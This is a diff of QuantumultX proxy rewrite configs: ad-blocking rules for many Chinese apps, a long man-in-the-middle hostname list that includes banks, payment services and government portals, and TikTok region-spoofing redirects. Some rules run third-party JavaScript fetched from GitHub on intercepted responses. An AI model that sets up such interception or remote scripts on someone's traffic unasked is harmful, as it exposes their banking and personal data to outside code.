+^https?:\/\/app\.zhuanzhuan\.com\/zz\/v2\/zzlogic\/getOpenScreen url reject-dict +# 转转右下角悬浮广告 +^https?:\/\/app\.zhuanzhuan\.com\/zz\/transfer\/userred\?scene=homePage url reject-dict +^https?:\/\/app\.zhuanzhuan\.com\/zz\/v2\/zzinfoshow\/getfeedflowinfo\? url response-body userRed response-body fmz200 +# “我的”页面去除冗余的模块 +^https?:\/\/app\.zhuanzhuan\.com\/zz\/transfer\/getmyprofilev3 url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/zhuanzhuan/zhuanzhuan.js +^https?:\/\/app\.zhuanzhuan\.com\/zz\/v2\/zzinfoshow\/getchoicegoodsinfos url response-body infoData response-body fmz200 + +# > 掌上英雄联盟 +# hostname = us.l.qq.com, ossweb-img.qq.com, mlol.qt.qq.com +# 开屏广告 感谢【𝑨梦 𝑪𝒉𝒙𝒎𝟏𝟎𝟐𝟑】分享 +^https?:\/\/us\.l\.qq\.com\/exapp url reject-200 +^https?:\/\/ossweb-img\.qq\.com\/upload\/adw\/image\/[0-9]{3}\/202[0-9]{5}\/[a-z0-9]{32}\.(jpg|jpeg) url reject-200 +^https?:\/\/mlol\.qt\.qq\.com\/go\/recommend\/(?!v2\/platactivity.*) url reject + +# > 浙里办 +# hostname = portal.zjzwfw.gov.cn +^https?:\/\/portal\.zjzwfw\.gov\.cn\/app_api\/appHome\/selectStartPic url response-body "data":\{.+\} response-body "data":{} + +# > 郑好办 +# hostname = app-izz.zhengzhou.gov.cn +# 去开屏 +^https?:\/\/app-izz\.zhengzhou\.gov\.cn:10019\/bizgw\/gateway\.do url response-body "imgUrl19_5x9":".+?" response-body "imgUrl19_5x9":"" + +# > 住这儿 +# hostname = z.onewo.com +# 开屏广告 感谢【Mozart】分享 +^https?:\/\/z\.onewo\.com\/passer\/api\/ads\/v1\/8\/list url reject-200 + +# > 指点天下 +# hostname = zua.zhidiantianxia.cn +# 开屏广告 +^https?:\/\/zua\.zhidiantianxia\.cn\/api\/adverts url reject + +# > 猪八戒 +# hostname = fastbuyer.zbj.com +^https?:\/\/fastbuyer\.zbj\.com\/configure\/screenAdConfig\/ url reject-200 + +# > 智行APP +# hostname = m.ctrip.com +# 开屏广告 影响携程部分功能正常运行,携程8.40.0以下的版本不受影响。如开启可自行添加主机名 +^https?:\/\/m\.ctrip\.com\/restapi\/soa2\/13916\/scjson\/tripAds url reject-dict + +# > 自如 +# hostname = ztoread.ziroom.com +^https?:\/\/ztoread\.ziroom\.com\/foka-card-api\/popup\/v2\/get url reject-dict +^https?:\/\/ztoread\.ziroom\.com\/ymerApi\/v\d\/index\/open url reject-dict + +# > 追剧达人 +# hostname = zjdr666.com +^https?:\/\/zjdr666\.com\/zjdr\.php\/v\d\/(version|top_notice\?|advert\?position=[^2]+) url reject + +# > 职工普惠 +# hostname = preprod.cdzghome.com +# 需卸载重装 感谢【zyu0090】分享 +^https?:\/\/preprod\.cdzghome\.com:8100\/banner\/bootUp url reject-200 + +# > 正气助手 +# hostname = apio.zhengqi100.com +# 去主界面广告 +^https?:\/\/apio\.zhengqi100\.com\/forum\/thread\/listsHome url reject-dict + +# > 招财猫直聘 +# hostname = beehiveapi.58.com +^https?:\/\/beehiveapi\.58\.com\/adplace\/zcm url reject-dict + +# > 中国国际航空 +# hostname = m.airchina.com.cn +^https:\/\/m\.airchina\.com\.cn\/airchina\/gateway\/v\d(\.\d)*\/api\/services url script-response-header https://raw.githubusercontent.com/zirawell/R-Store/main/Res/Scripts/AntiAd/airchina.js + + +# >>>>>>>>>>>>>>> ✅ # ✅ <<<<<<<<<<<<<< + + + +# 去重后的hostname,将对以下域名进行MITM(MAN-IN-THE-MIDDLE:中间人攻击) +hostname = *.gamersky.com, emisdatacenteraws.hafoo.com, spamblocker-api.zeekstudio.com, marketing.cmschina.com, www.tailgdd.com, mobile-consumer-sapp.chery.cn, testflight.apple.com, order-app-api.lbdj.com, plt.yorentown.com, lawsonapi.yorentown.com, ecloud.tppension.cntaiping.com, cache.bydauto.com.cn, app-v1.ecoliving168.com, patient-api.suh.cn, userpms-api.suh.cn, se-api.djiits.com, a.line.me, ad.line-scdn.net, buy.line.me, cix.line-apps.com, crs-event.line.me, d.line-scdn.net, gw.line.naver.jp, legy.line-apps.com, nelo2-col.linecorp.com, obs.line-scdn.net, scdn.line-apps.com, sch.line.me, static.line-scdn.net, uts-front.line-apps.com, w.line.me, vue3-api.zhixiny.cn, mbank5.jsbchina.cn, mobileapi.xiamenair.com, appapi.caiyicloud.com, res1.hubcloud.com.cn, vapp.tmuyun.com, api2.yaduo.com, api.gongkaoleida.com, magev6.if.qidian.com, syh.zybang.com, www.zybang.com, pzoap.moedot.net, app.api.d3yuiw4.com, app-izz.zhengzhou.gov.cn, creditcard.bankcomm.com, *.byteimg.com.*, www.cntv.cn, *.townmalls.cn, chat-live.soulapp.cn, api.flydigi.com, www.ymm56.com, app.ceair.com, mcsp.cloudpnr.com, saas-ad.cloudpnr.com, g.alicdn.com, api.huachenjie.com, open.e.kuaishou.cn, ad.shunchangzhixing.com, img01.51jobcdn.com, api5.youonbike.com, mgesq.api.mgtv.com, *.hitv.com, qiye.gaoding.com, gw.chuangkit.com, zlsdk.1rtb.net, web2.realtech-inc.com, sdk.1rtb.net, gw.xiaocantech.com, delivery-api.imdada.cn, adservice.sigmob.cn, api.u51.com, gateway.36kr.com, xxyx-client-api.xiaoxiaoyouxuan.com, statistic.live.126.net, zgrb.epicc.com.cn, compus.xiaofubao.com, imgx.jampp.com, ad.life.360.cn, wanciwangdata.oss-cn-beijing.aliyuncs.com, recite.perfectlingo.com, ggc.miguvideo.com, public-deliver9.miguvideo.com, display*-sc.miguvideo.com, recommend-dy.miguvideo.com, app-sc.miguvideo.com, common-sc.miguvideo.com, ggx*.miguvideo.com, ggic*.miguvideo.com, b-api.ins.miaopai.com, social.blued.cn, api.petkit.cn, ams-cdn.cdtft.cn, e.weather.com.cn, beehiveapi.58.com, apio.zhengqi100.com, res.hongyibo.com.cn, misc-api-prd-mx.wandafilm.com, e-static.aia.com.cn, api.sogaha.cn, api-miprint.hannto.com, api.indeedpower.com, alt-r.my.com, m.pvp.xoyo.com, *.pipix.com, daijia.kuaidadi.com, as.xiaojukeji.com, preprod.cdzghome.com, api.xbxxhz.com, api.petkit.cn, sfo.mddcloud.com.cn, mob.mddcloud.com.cn, toblog.ctobsnssdk.com, t-dsp.pinduoduo.com, mobads-pre-config.cdn.bcebos.com, sdk1xyajs.data.kuiniuca.com, conf-darwin.xycdn.com, *.ubixioe.com, www.xiaoxiongmeishu.com, gateway.benewtech.cn, ntt-app.benewtech.cn, open.e.kuaishou.cn, api-access.pangolin-sdk-toutiao-b.com, api-access.pangolin-sdk-toutiao.com, api-access.pangolin-sdk-toutiao1.com, dsp-x.jd.com, api-cfg.wtzw.com, p1-lm.adukwai.com, bk.bingo.qq.com, maicai.api.ddxq.mobi, gw.api.ddxq.mobi, user.api.ddxq.mobi, c.zhangle.com, midc.cdn-static.abchina.com.cn, enjoy.cdn-static.abchina.com, ocrifs.ejoy.sinopec.com, apicloud.zol.com, minipro.95504.net, service.haiersmarthomes.com, gugongmini.dpm.org.cn, wechat.tf.cn, chl.tf.cn, mbasecc.bas.cmbchina.com, mbasecc.bcs.cmbchina.com, intellicc.bas.cmbchina.com, bohe.sfo-tx-shanghai-01.saas.sensorsdata.cn, api.boohee.com, bohe.sfo-tx-shanghai-01.saas.sensorsdata.cn, lego.boohee.com, status.boohee.com, cdn.133.cn, acs.youku.com, push.m.youku.com, un-acs.youku.com, gw.alicdn.com, tiku.fenbi.com, napi.ithome.com, vapp.tmuyun.com, www.1314zhilv.com, mobile.flightradar24.com, api.17kjs.com, interface.aomiapp.com, oxadmin.cp.com.cn, home.umetrip.com, discardrp.umetrip.com, startup.umetrip.com, dictvip-business.youdao.com, dict.youdao.com, api-overmind.youdao.com, cdke.youdao.com, live.inst-service.htsc.com, gql.reddit.com, gql-fed.reddit.com, imcs.citicbank.com, mkt-gateway.tuhu.cn, tianqi.2345.com, shcss.suning.com, shcss.suning.com, one-app-h5.faw-vw.com, lens.leoao.com, www.binance.info, www.yingwangtech.net, www.binance.com, api.hengdianfilm.com, ump.sz.creditcard.ecitic.com, tbgapplet.carlsberg.asia, mbmodule-openapi.paas.cmbchina.com, api.zhihu.com, appcloud2.zhihu.com, m-cloud.zhihu.com, www.zhihu.com, zhuanlan.zhihu.com, link.zhihu.com, open-cms-api.quark.cn, vv.video.qq.com, evs.500.com, dq.dxy.cn, m.you.163.com, open-cms-api.uc.cn, *.yuxueyuan.cn, pan-api.bitqiu.com, iapi.bishijie.com, run.api.qyfxgd.cn, gongdu.youshu.cc, api.21ec74.com, ztoread.ziroom.com, iphone.ac.qq.com, api.00bang.cn, app.hbooker.com, api.sfacg.com, api3.cls.cn, gateway-api.dushu365.com, external.fcbox.com, dsp.fcbox.com, bdsp-x.jd.com, dsp-x.jd.com, app.homeinns.com, pic.edaijia.cn, cdn-evone-ceph.echargenet.com, mlol.qt.qq.com, gg.caixin.com, cn-acs.m.cainiao.com, zjdr666.com, adapi.izuiyou.com, access.mypikpak.com, open.fitdays.cn, ap.dongqiudi.com, 103.91.210.141, js-ad.ayximgs.com, pipi.4kya.com, tft-app.cdtft.cn, t1.market.xiaomi.com, b.appsimg.com, ios.sspai.com, zconfig.alibabausercontent.com, easyreadfs.nosdn.127.net, sp.kaola.com, mapi.dangdang.com, client.qunar.com, slapi.oray.net, api.internetofcity.cn, lcen.xiaote.net, venus.yhd.com, api.shenyin.name, mage*.if.qidian.com, e.dangdang.com, adproxy.autohome.com.cn, explorer.tratao.com, overseas.weico.cc, 118.178.214.118, client.mail.163.com, api.psy-1.com, cdn.*.chelaileapp.cn, *.laichon.com, api-ad-product.huxiu.com, jad-api.jin10.com, appactive.1234567.com.cn, service.busi.inke.cn, dispatcher.camera360.com, 47.110.187.87, ssp.soulapp.cn, api-account.soulapp.cn, api-global.soulapp.me, api-a.soulapp.cn, api-pay.soulapp.cn, gateway-mobile-gray.soulapp.cn, api-chat.soulapp.cn, post.soulapp.cn, api-user.soulapp.cn, beta-api.crunchyroll.com, helper.2bulu.com, tagit.hyhuo.com, top-widgets-api.xiaozujian.com, *mangaapi.manhuaren.*, apis.lifeweek.com.cn, yanxuan.nosdn.127.net, *.peopleapp.com, new-app-api.ylyk.com, *.58cdn.com.cn, creditcardapp.bankcomm.com, lchttpapi.xczim.com, *.chelaile.net.cn, api.xiaoyi.com, api.douban.com, sso.ifanr.com, s3plus.meituan.net, cdb.meituan.com, *.hoopchina.com, goblin.hupu.com, gmp.lakala.com, wallet.lakala.com, hz.yxzq.com, api.winbull8.com, editor.sm.cn, p0.pipi.cn, 182.92.244.70, ad.myfriday.cn, ios-api.lucklyworld.com, www.onstar.com.cn, facade-api.black-unique.com, cstore-en-public-tx.seewo.com, oneapph5.dongfeng-nissan.com.cn, cds.wifi188.com, homefront.qunar.com, sh-gateway.shihuo.cn, cgbank.oss-cn-shenzhen.aliyuncs.com, imeres.baidu.com, api.taptapdada.com, a.sinopecsales.com, api.nj.nbtv.cn, v3.wufazhuce.com, ma-adx.ctrip.com, yun.tuitiger.com, www.pushplus.plus, ad.mcloud.139.com, fastbuyer.zbj.com, xhtz.oss-cn-guangzhou.aliyuncs.com, promote-trx.helipay.com, hfapp-service.qweather.net, api.ulife.group, api.sodalife.xyz, app.chinahxzq.com.cn, hdgateway.zto.com, mobile-api.imlaidian.com, wxs-weixin.sd.zhumanggroup.com, s.jiediankeji.com, smarket.dian.so, file.dian.so, aag.enmonster.com, hd.xiaojukeji.com, freight.xiaojukeji.com, capis*.didapinche.com, ad.xiaotucc.com, mapi.xiaotucc.com, adsoss.zhinengxiyifang.cn, api-marketing.zhinengxiyifang.cn, ads.zhinengxiyifang.cn, app.missevan.com, bd-api.kuwo.cn, h5app.kuwo.cn, bodianimgcdn.kuwo.cn, mgxhtj.kuwo.cn, nmobi.kuwo.cn, searchrecterm.kuwo.cn, audiobookpay.kuwo.cn, musicpay.kuwo.cn, vip1.kuwo.cn, pacdn.m.stock.pingan.com, manga.bilibili.com, bid.adview.cn, zua.zhidiantianxia.cn, app.10086.cn, mrp.mcloud.139.com, *.i18n-pglstatp.com, api.wmpvp.com, m.prod.app.hsbcfts.com.cn, p*.pstatp.com, mapi.txcmapp.com, api-one-wscn.awtmt.com, fintechappdr.cgws.com, m.qianbao.qq.com, j1.pupuapi.com, 54.222.159.138, ad.lofter.com, images.pinduoduo.com, lofter.lf127.net, client.tujia.com, www.gcores.com, app02.vgtime.com, www.vgtime.com, app.meruki.cn, qimg.cdnmama.com, ecapi.lkcoffee.com, capi.lkcoffee.com, m.lkcoffee.com, gsp.gacmotor.com, appdmkj.5idream.net, www.onstar.com.cn, api.shanghaionstar.com, szdmobile.suzhou.gov.cn, ad.shunchangzhixing.com, api.bwton.com, z.onewo.com, plough.babytree.com, mapiweb.babytree.com, go.babytree.com, aimg.babytreeimg.com, *.ly.com, *.17usoft.com, *.17u.cn, mobilehotelapi.elong.com, quic-tcmapi.elong.com, blog.nilbt.com, www.banyuetanapp.com, ecard.shenzhentong.com, ccmsupport-sz.tenpay.com, dl.app.gtja.com, fuwu.nhsa.gov.cn, api?.sparke.cn, cube.elemecdn.com, nr-op.elemecdn.com, info.mina.xiaoaisound.com, marketing-aibox.v.mitvos.com, home.mi.com, tk.lanjiyin.com.cn, poplayer.template.alibaba.com, acs.m.taobao.com, amdc.m.taobao.com, guide-acs.m.taobao.com, api.alipan.com, member.alipan.com, acs-m.freshippo.com, mcs-mimp-web.sf-express.com, ucmp.sf-express.com, api.ncarzone.com, api.caiyunapp.com, wrapper.cyapi.cn, mres.aibank.com, direct.z-bank.com, mobile.1qianbao.com, middle.yun.139.com, mcmm.caiyun.feixin.10086.cn, cdn-oss.00bang.cn, mapi.sichuanair.com, b2baifanfan.baidu.com, app.badmintoncn.com, app.bilibili.com, api.bilibili.com, api.live.bilibili.com, grpc.biliapi.net, portal.zjzwfw.gov.cn, shopapi.io.mi.com, www.ahzs10000.com, quanguo.mygolbs.com, open.taou.com, h3.open.taou.com, sichuan.95504.net, app.10099.com.cn, sdk.alibaba.com.ailbaba.me, mrobot.pconline.com.cn, api.gameplus.qq.com, cdn.sdb.com.cn, creditcardapp.bankcomm.cn, router-app-api.jdcloud.com, api.yonghuivip.com, cdn.jlbank.com.cn, 3g.csair.com, gha.ghac.cn, webappcfg.paas.cmbchina.com, *.qyfxgd.cn, *.weilai555.com, *.ecoliving168.com, vip7.fzwdyy.cn, wcprd.hilton.com.cn, adx-cn.anythinktech.com, www.didapinche.com, client-api-v2.oray.com, sdk.alibaba.com, bgw.xinyue.qq.com, api.tipsoon.com, imeclient.openspeech.cn, m.360buyimg.com, business-cdn.shouji.sogou.com, ios.sogou.com, android.sogou.com, h5api.sginput.qq.com, m*.amap.com, optimus-ads.amap.com, pv.elife.icbc.com.cn, mangaapi.manhuaren.com, news.ssp.qq.com, ccsp-egmas.sf-express.com, zhidao.baidu.com, api.vistopia.com.cn, xyst.yuanfudao.com, mapi.appvipshop.com, guanyu.longfor.com, mp.weixin.qq.com, *.kingsoft-office-service.com, ptmpcap.caocaokeji.cn, pcauto.com.cn, mps.95508.com, i-lq.snssdk.com.*, img0*.luckincoffeecdn.com, app.zhoudamozi.com, apple.fuliapps.com, gurd.snssdk.com.*, peisongapi.meituan.com, cdn.kuaidi100.com, cdn.cmgadx.com, api.gamer.com.tw, impservice.dictapp.youdao.com, api.gaoqingdianshi.com, cdn.dianshihome.com, *.kakamobi.cn, 47.100.65.202, youtubei.googleapis.com, app.wy.guahao.com, mapi.sfbest.com, *.xiangxiangapps.com, cmsfile.wifi8.com, prom.mobile.gome.com.cn, nnapp.cloudbae.cn, api.21jingji.com, a.qiumibao.com, jdread-api.jd.com, open.qyer.com, app-api.niu.com, us.l.qq.com, qde.qunar.com, res.pizzahut.com.cn, book.img.ireader.com, aes.acfun.cn, api-new.app.acfun.cn, images.cib.com.cn, jiucaigongshe.oss-cn-beijing.aliyuncs.com, mage.if.qidian.com, app.aa-ab.com, zone.guiderank-app.com, richmanrules.ksedt.com, richmanapi.jxedt.com, geetest.htsc.com, 119.29.29.*, api.m.mi.com, awg.enmonster.com, api.haohaozhu.cn, du.hupucdn.com, apps.api.ke.com, api.ycapp.yiche.com, omgup*.xiaojukeji.com, issuecdn.baidupcs.com, gab.122.gov.cn, www.oschina.net, m.ibuscloud.com, app.api.versa-ai.com, ok.166.net, image*.benlailife.com, home.mi.com, djcapp.game.qq.com, static.xyzq.cn, iobs.pingan.com.cn, app3.qdaily.com, api.mcd.cn, api.mgzf.com, open.e.kuaishou.com, osg-static.sgcc.com.cn, osg-service.sgcc.com.cn, app.dewu.com, cdn.poizon.com, supportda.ofo.com, r6.mo.baidu.com, res.mi.baidu.com, mbd.baidu.com, capi.mwee.cn, m.client.10010.com, m1.ad.10010.com, res.mall.10010.cn, app.yinxiang.com, img.meituan.net, baidu.com, *-release.wuta-cam.com, cdnmobibank.bankofbeijing.com.cn, mapi.mafengwo.cn, mada-travel.17u.cn, ebk.17u.cn, api.izuiyou.com, appconf.mail.163.com, api.dangdang.com, cmsapi.wifi8.com, daoyu.sdo.com, gw.aihuishou.com, bp-api.bestv.com.cn, bp-image.bestv.com.cn, portal-portm.meituan.com, mall.meituan.com, cdn-xyk-app.bankofbeijing.com.cn, thor.weidian.com, open3.vistastory.com, i.ys7.com, www.xiaohongshu.com, edith.xiaohongshu.com, ci.xiaohongshu.com, rec.xiaohongshu.com, api.caijingmobile.com, j5.dfcfw.com, capi.douyucdn.cn, icc.one, api.coolapk.com, ios.xiangjiaoapps.com, img.wukongtv.com, service.4gtv.tv, static.api.m.panda.tv, api-mifit*.huami.com, channel.beitaichufang.com, static.95508.com, wap.bank.ecitic.com, file.cibfintech.com, api*.futunn.com, mob.mddcloud.com, i.snssdk.com.*, images.client.vip.xunlei.com, api-shoulei-ssl.xunlei.com, elemecdn.com, l*.51fanli.net, app.zhuanzhuan.com, *.bdstatic.com, rs.creditcard.cmbc.com.cn, ocean.shuqireader.com, api.fengshows.com, sh-gateway.shihuo.cn, api.touker.com, app.variflight.com, sofire.baidu.com, www.cmbc.com.cn, img01.10101111cdn.com, r.inews.qq.com, *.xima*.*, afd.baidu.com, appwk.baidu.com, ios.lantouzi.com, mpcs.suning.com, m.tuniu.com, api.jxedt.com, dns.jd.com, api.m.jd.com, m.jd.com, *.k.sohu.com, www.nfmovies.com, static01.versa-ai.com, gfp.veta.naver.com, mpos-pic.helipay.com, api.yikaobang.com.cn, god.gameyw.netease.com, image.spdbccc.com.cn, fbchina.flipchina.cn, media.qyer.com, webcast-open.douyin.com, ether-pack.pangolin-sdk-toutiao.com, api-access.pangolin-sdk-toutiao?.com, sf*-fe-tos.pglstatp-toutiao.com, restapi.iyunmai.com, static.shihuocdn.cn, weixin110.qq.com, appapi.huazhu.com, hweb-hotel.huazhu.com, hweb-manager.huazhu.com, lban.spdb.com.cn, wap.spdb.com, smart.789.image.mucang.cn, btrace.qq.com, img.dailmo.com, app.95598pay.com, reading-hl.snssdk.com, adproxy.autohome.com, ma.ofo.com, dl*.app.gtja.com, activity2.api.ofo.com, luckman.suning.com, app.xinpianchang.com, static.gameplus.qq.com, portal-xunyou.qingcdn.com, notch.qdaily.com, pan.baidu.com, tiebac.baidu.com, *.tieba.baidu.com, snailsleep.net, *.xmcdn.*, api.laifeng.com, fuss10.elemecdn.com, smkmp.96225.com, static.creditcard.hxb.com.cn, sf3-be-pack.pglstatp-toutiao.com, ossgw.alicdn.com, *.mgtv.com, oral.youdao.com, p.kuaidi100.com, mlife.jf365.boc.cn, heic.alicdn.com, acs.m.goofish.com, g-acs.m.goofish.com, dinamicx.alibabausercontent.com, www.tsytv.com, app2.autoimg.cn, www.iyingdi.cn, m.baidu.com, webboot.zhangyue.com, api4.bybutter.com, security.wechat.com, api.xiachufang.com, 4gimg.map.qq.com, p.du.163.com, support.you.163.com, apiwz.midukanshu.com, tc.qq.com, img.admobile.top, api.pinduoduo.com, cheyouapi.ycapp.yiche.com, api.kkmh.com, ad.ysepay.com, ports3.gtimg.com, i*.hdslb.com, m.yap.yahoo.com, webcdn.m.qq.com, rtbapi.douyucdn.cn, dapis.mting.info, qidian.qpic.cn, games.mobileapi.hupu.com, emdcadvertise.eastmoney.com, mime.baidu.com, api.club.lenovo.cn, img.allahall.com, staticsns.cdn.bcebos.com, api.wfdata.club, dsa-mfp.fengshows.cn, flowplus.meituan.net, ssp.dzh.com.cn, adm.10jqka.com.cn, stat.10jqka.com.cn, api.xueqiu.com, open.xueqiu.com, stock.xueqiu.com, 39.103.79.14, 39.106.97.84, 47.95.49.75, 101.201.62.20, 101.201.62.26, 101.201.175.228, 124.250.48.3, 182.92.145.50, 182.92.251.113, ios.fuliapps.com, pt-starimg.didistatic.com, omgup*.xiaojukeji.com, *.pipiapps.com, adstatic.peopleapp.com, otheve.beacon.qq.com, ptf.flyertrip.com, api.qbb6.com, res.xiaojukeji.com, conf.diditaxi.com.cn, yunbusiness.ccb.com, img.alicdn.com, capis.didapinche.com, ms.jr.jd.com, m.creditcard.ecitic.com, img.gdoil.cn, api.hanju.koudaibaobao.com, api.jr.mi.com, imagev2.tx.xmcdn.com, upload-bbs.mihoyo.com, gw-passenger.01zhuanche.com, img.yun.01zhuanche, ndstatic.cdn.bcebos.com, fc-video.cdn.bcebos.com, rp.hpplay.cn, dyncdn.me, pss.txffp.com, capis*.didapinche.com, dxy.com, staticlive.douyucdn.cn, edit.sinaapp.com, www1.elecfans.com, *.googlevideo.com, pocketuni.net, x.seeyouyima.com, axxd.xmseeyouyima.com, config-service.seeyouyima.com, j-image.missfresh.cn, cms.daydaycook.com, api.cloud.189.cn, mobile.cebbank.com, yghsh.cebbank.com, y.gtimg.cn, dss0.bdstatic.com, tb1.bdstatic.com, tb2.bdstatic.com, ss0.bdstatic.com, gss0.bdstatic.com, newclient.map.baidu.com, ossweb-img.qq.com, mea.meitudata.com, adui.tg.meitu.com, list-app-m.i4.cn, api.daydaycook.com, learn.chaoxing.com, interface.music.163.com, interface?.music.163.com, ipv4.music.163.com, mrobot.pconline.com.cn, res.kfc.com.cn, gw.kaola.com, api.huomao.com, mi.gdt.qq.com, fmapp.chinafamilymart.com.cn, app-gw.csdn.net, gw.csdn.net, app.58.com, cap.caocaokeji.cn, live-ads.huya.com, cdn.wup.huya.com, cdnfile1.msstatic.com, business.msstatic.com, ct.xiaojukeji.com, homepage-api.smzdm.com, haojia-api.smzdm.com, app-api.smzdm.com, user-api.smzdm.com, article-api.smzdm.com, qianbao.smzdm.com, s-api.smzdm.com, haojia.m.smzdm.com, adpai.thepaper.cn, www.baidu.com, *.tv.sohu.com, ih2.ireader.com, common.diditaxi.com.cn, display.wting.info, kano.guahao.cn, i-lq.snssdk.com, cloud.189.cn, ad.12306.cn, dl-cu-hz.lechange.cn, spclient.wg.spotify.com, dsp-impr2.youdao.com, api.rr.tv, *.pglstatp-toutiao.com, mobile.yangkeduo.com, api.yangkeduo.com, xyz.cnki.net, api.bjxkhc.com, d.psbc.com, fm.fenqile.com, client.app.coc.10086.cn, img.ddrk.me, ddrk.me, img.jiemian.com, message.shuqireader.com, ut2.shuqistat.com, dsp.toutiao.com, sq.sljkj.com, img-tailor.11222.cn, feedback.uc.cn, *.shuqireader.com, 101.91.69.26, gateway.shouqiev.com, api.gotokeep.com, kad.gotokeep.com, static1.keepcdn.com, mbank.grcbank.com, -i.vip.iqiyi.com, *.iqiyi.com, api-sams.walmartmobile.cn, api.htp.ad-scope.com.cn, appgw.ddpai.com, init.sms.mob.com, www.flyert.com, hcz-member.pingan.com.cn, jp.rsscc.com, jt.rsscc.com, appapi.51job*.com, cupid.51job*.com, api-ac.liepin.com, api-wanda.liepin.com, manga.bilibili.com, intellicc.bcs.cmbchina.com, api-cslp-emt.amazon.cn, m.airchina.com.cn, apphw.ddpai.com, waimai-guide.ele.me, 39.98.135.211, api.51credit.com, booking.bestwehotel.com, webapi.qmai.cn, miniapp.qmai.cn, web-stable-cdn.ykccn.com, gw3.ykccn.com, ec.ems.com.cn, ump.ems.com.cn, clubmed.bd.clubmedmnp.com, api.xiaoyuzhoufm.com, apis.folidaymall.com diff --git a/QuantumultX/rewrite/unlock/TikTok/TiktokHK.conf b/QuantumultX/rewrite/unlock/TikTok/TiktokHK.conf new file mode 100644 index 00000000..68bfc218 --- /dev/null +++ b/QuantumultX/rewrite/unlock/TikTok/TiktokHK.conf @@ -0,0 +1,7 @@ +# TikTok 香港 +(?<=_region=)CN(?=&) url 307 HK +(?<=&mcc_mnc=)4 url 307 2 +^(https?:\/\/(tnc|dm)[\w-]+\.\w+\.com\/.+)(\?)(.+) url 302 $1$3 +(?<=\d\/\?\w{7}_\w{4}=)1[6-9]..(?=.?.?&) url 307 17 + +hostname = *.tiktokv.com,*.byteoversea.com,*.tik-tokapi.com diff --git a/QuantumultX/rewrite/unlock/TikTok/TiktokJP.conf b/QuantumultX/rewrite/unlock/TikTok/TiktokJP.conf new file mode 100644 index 00000000..98c1df43 --- /dev/null +++ b/QuantumultX/rewrite/unlock/TikTok/TiktokJP.conf @@ -0,0 +1,7 @@ +# TikTok 日本 +(?<=_region=)CN(?=&) url 307 JP +(?<=&mcc_mnc=)4 url 307 2 +^(https?:\/\/(tnc|dm)[\w-]+\.\w+\.com\/.+)(\?)(.+) url 302 $1$3 +(?<=\d\/\?\w{7}_\w{4}=)1[6-9]..(?=.?.?&) url 307 17 + +hostname = *.tiktokv.com,*.byteoversea.com,*.tik-tokapi.com diff --git a/QuantumultX/rewrite/unlock/TikTok/TiktokKR.conf b/QuantumultX/rewrite/unlock/TikTok/TiktokKR.conf new file mode 100644 index 00000000..07a42e54 --- /dev/null +++ b/QuantumultX/rewrite/unlock/TikTok/TiktokKR.conf @@ -0,0 +1,7 @@ +# TikTok 韩国 +(?<=_region=)CN(?=&) url 307 KR +(?<=&mcc_mnc=)4 url 307 2 +^(https?:\/\/(tnc|dm)[\w-]+\.\w+\.com\/.+)(\?)(.+) url 302 $1$3 +(?<=\d\/\?\w{7}_\w{4}=)1[6-9]..(?=.?.?&) url 307 17 + +hostname = *.tiktokv.com,*.byteoversea.com,*.tik-tokapi.com diff --git a/QuantumultX/rewrite/unlock/TikTok/TiktokMO.conf b/QuantumultX/rewrite/unlock/TikTok/TiktokMO.conf new file mode 100644 index 00000000..7342898d --- /dev/null +++ b/QuantumultX/rewrite/unlock/TikTok/TiktokMO.conf @@ -0,0 +1,7 @@ +# TikTok 澳门 +(?<=_region=)CN(?=&) url 307 MO +(?<=&mcc_mnc=)4 url 307 2 +^(https?:\/\/(tnc|dm)[\w-]+\.\w+\.com\/.+)(\?)(.+) url 302 $1$3 +(?<=\d\/\?\w{7}_\w{4}=)1[6-9]..(?=.?.?&) url 307 17 + +hostname = *.tiktokv.com,*.byteoversea.com,*.tik-tokapi.com diff --git a/QuantumultX/rewrite/unlock/TikTok/TiktokTW.conf b/QuantumultX/rewrite/unlock/TikTok/TiktokTW.conf new file mode 100644 index 00000000..6e736507 --- /dev/null +++ b/QuantumultX/rewrite/unlock/TikTok/TiktokTW.conf @@ -0,0 +1,7 @@ +# TikTok 台湾 +(?<=_region=)CN(?=&) url 307 TW +(?<=&mcc_mnc=)4 url 307 2 +^(https?:\/\/(tnc|dm)[\w-]+\.\w+\.com\/.+)(\?)(.+) url 302 $1$3 +(?<=\d\/\?\w{7}_\w{4}=)1[6-9]..(?=.?.?&) url 307 17 + +hostname = *.tiktokv.com,*.byteoversea.com,*.tik-tokapi.com diff --git a/QuantumultX/rewrite/unlock/TikTok/TiktokUA.conf b/QuantumultX/rewrite/unlock/TikTok/TiktokUA.conf new file mode 100644 index 00000000..a9ee0fe6 --- /dev/null +++ b/QuantumultX/rewrite/unlock/TikTok/TiktokUA.conf @@ -0,0 +1,7 @@ +# TikTok 乌克兰 +(?<=_region=)CN(?=&) url 307 UA +(?<=&mcc_mnc=)4 url 307 2 +^(https?:\/\/(tnc|dm)[\w-]+\.\w+\.com\/.+)(\?)(.+) url 302 $1$3 +(?<=\d\/\?\w{7}_\w{4}=)1[6-9]..(?=.?.?&) url 307 17 + +hostname = *.tiktokv.com,*.byteoversea.com,*.tik-tokapi.com diff --git a/QuantumultX/rewrite/unlock/TikTok/TiktokUK.conf b/QuantumultX/rewrite/unlock/TikTok/TiktokUK.conf new file mode 100644 index 00000000..870a18ed --- /dev/null +++ b/QuantumultX/rewrite/unlock/TikTok/TiktokUK.conf @@ -0,0 +1,7 @@ +# TikTok 英国 +(?<=_region=)CN(?=&) url 307 UK +(?<=&mcc_mnc=)4 url 307 2 +^(https?:\/\/(tnc|dm)[\w-]+\.\w+\.com\/.+)(\?)(.+) url 302 $1$3 +(?<=\d\/\?\w{7}_\w{4}=)1[6-9]..(?=.?.?&) url 307 17 + +hostname = *.tiktokv.com,*.byteoversea.com,*.tik-tokapi.com diff --git a/QuantumultX/rewrite/unlock/TikTok/TiktokUS.conf b/QuantumultX/rewrite/unlock/TikTok/TiktokUS.conf new file mode 100644 index 00000000..314ba437 --- /dev/null +++ b/QuantumultX/rewrite/unlock/TikTok/TiktokUS.conf @@ -0,0 +1,7 @@ +# TikTok 美国 +(?<=_region=)CN(?=&) url 307 US +(?<=&mcc_mnc=)4 url 307 2 +^(https?:\/\/(tnc|dm)[\w-]+\.\w+\.com\/.+)(\?)(.+) url 302 $1$3 +(?<=\d\/\?\w{7}_\w{4}=)1[6-9]..(?=.?.?&) url 307 17 + +hostname = *.tiktokv.com,*.byteoversea.com,*.tik-tokapi.com diff --git 